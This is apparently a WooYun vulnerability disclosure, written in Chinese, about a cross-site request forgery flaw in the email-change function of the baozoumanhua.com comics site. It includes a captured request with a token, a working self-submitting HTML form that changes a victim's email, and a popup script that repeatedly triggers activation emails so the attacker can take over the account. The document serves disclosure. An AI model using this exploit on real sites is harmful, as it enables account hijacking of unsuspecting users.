WooYun.org

首先在验证邮箱的地方 修改一下邮箱并且抓包。 此时我的邮箱是乱填的
提交地址：http://baozoumanhua.com/users/8311358
提交数据：
-----------------------------195704664324
Content-Disposition: form-data; name="utf8"
✓
-----------------------------195704664324
Content-Disposition: form-data; name="_method"
put
-----------------------------195704664324
Content-Disposition: form-data; name="authenticity_token"
FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=
-----------------------------195704664324
Content-Disposition: form-data; name="user[email]"
[email protected]
-----------------------------195704664324
Content-Disposition: form-data; name="commit"
修改邮箱
这是有token的
接着我写一个表单

<form id="csrf"  action="http://baozoumanhua.com/users/用户id" method="post">
	<input type=hidden name="utf8" value="✓">
	<input type=hidden name="_method" value="put">
	<input type=hidden name="authenticity_token" value="FI+dAl32T5Oh1W5G0LQ4ArOK1t9JQRqoNOLWHaTHEgk=">
	<input type=hidden name="user[email]" value="你的邮箱">
	<input type=hidden name="commit" value="修改邮箱">
   <script>
        document.getElementById('csrf').submit();
    </script>
</form>

再点击发送激活邮件 抓包
GET:http://baozoumanhua.com/my/resend/用户ID
此时我将表单的 email 换成我的有效邮箱
接着打开并且抓包

直接提示修改成功 无视token

可以看到 先get访问了 a.htm 然后再post提交到 暴走漫画
现在邮箱改掉了 只需要 访问http://baozoumanhua.com/my/resend/8311358 就行
至于这个 做个弹窗到新窗口 弹到b.htm b.htm 用js写个每一秒GET访问一次
http://baozoumanhua.com/my/resend/8311358
这时我被弹到了b.htm， 被弹到b.htm后会很多次get访问http://baozoumanhua.com/my/resend/8311358
接着我就收到了激活邮件